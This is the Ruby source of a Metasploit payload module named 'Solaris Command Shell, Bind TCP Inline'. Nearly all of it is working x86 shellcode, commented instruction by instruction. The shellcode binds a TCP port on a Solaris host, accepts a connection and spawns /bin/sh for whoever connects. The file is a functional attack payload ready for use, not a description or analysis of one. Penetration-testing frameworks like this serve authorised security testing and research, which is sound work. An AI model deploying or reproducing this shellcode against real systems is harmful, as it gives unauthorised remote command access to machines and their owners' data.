##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 95

  include Msf::Payload::Single
  include Msf::Payload::Solaris
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Solaris Command Shell, Bind TCP Inline',
      'Description'   => 'Listen for a connection and spawn a command shell',
      'Author'        => 'Ramon de C Valle',
      'License'       => MSF_LICENSE,
      'Platform'      => 'solaris',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 20, 'n' ],
            },
          'Payload' =>
            "\x68\xff\xd8\xff\x3c" +#   pushl   $0x3cffd8ff                #
            "\x6a\x65"             +#   pushl   $0x65                      #
            "\x89\xe6"             +#   movl    %esp,%esi                  #
            "\xf7\x56\x04"         +#   notl    0x04(%esi)                 #
            "\xf6\x16"             +#   notb    (%esi)                     #
            "\x31\xc0"             +#   xorl    %eax,%eax                  #
            "\x50"                 +#   pushl   %eax                       #
            "\x68\xff\x02\x04\xd2" +#   pushl   $0xd20402ff                #
            "\x89\xe7"             +#   movl    %esp,%edi                  #
            "\x6a\x02"             +#   pushl   $0x02                      #
            "\x50"                 +#   pushl   %eax                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x6a\x02"             +#   pushl   $0x02                      #
            "\x6a\x02"             +#   pushl   $0x02                      #
            "\xb0\xe6"             +#   movb    $0xe6,%al                  #
            "\xff\xd6"             +#   call    *%esi                      #
            "\x6a\x10"             +#   pushl   $0x10                      #
            "\x57"                 +#   pushl   %edi                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x31\xc0"             +#   xorl    %eax,%eax                  #
            "\xb0\xe8"             +#   movb    $0xe8,%al                  #
            "\xff\xd6"             +#   call    *%esi                      #
            "\x5b"                 +#   popl    %ebx                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x53"                 +#   pushl   %ebx                       #
            "\xb0\xe9"             +#   movb    $0xe9,%al                  #
            "\xff\xd6"             +#   call    *%esi                      #
            "\xb0\xea"             +#   movb    $0xea,%al                  #
            "\xff\xd6"             +#   call    *%esi                      #
            "\x6a\x09"             +#   pushl   $0x09                      #
            "\x50"                 +#   pushl   %eax                       #
            "\x6a\x3e"             +#   pushl   $0x3e                      #
            "\x58"                 +#   popl    %eax                       #
            "\xff\xd6"             +#   call    *%esi                      #
            "\xff\x4f\xd8"         +#   decl    -0x28(%edi)                #
            "\x79\xf6"             +#   jns     <bndsockcode+61>           #
            "\x50"                 +#   pushl   %eax                       #
            "\x68\x2f\x2f\x73\x68" +#   pushl   $0x68732f2f                #
            "\x68\x2f\x62\x69\x6e" +#   pushl   $0x6e69622f                #
            "\x89\xe3"             +#   movl    %esp,%ebx                  #
            "\x50"                 +#   pushl   %eax                       #
            "\x53"                 +#   pushl   %ebx                       #
            "\x89\xe1"             +#   movl    %esp,%ecx                  #
            "\x50"                 +#   pushl   %eax                       #
            "\x51"                 +#   pushl   %ecx                       #
            "\x53"                 +#   pushl   %ebx                       #
            "\xb0\x3b"             +#   movb    $0x3b,%al                  #
            "\xff\xd6"              #   call    *%esi                      #
        }))
  end

end
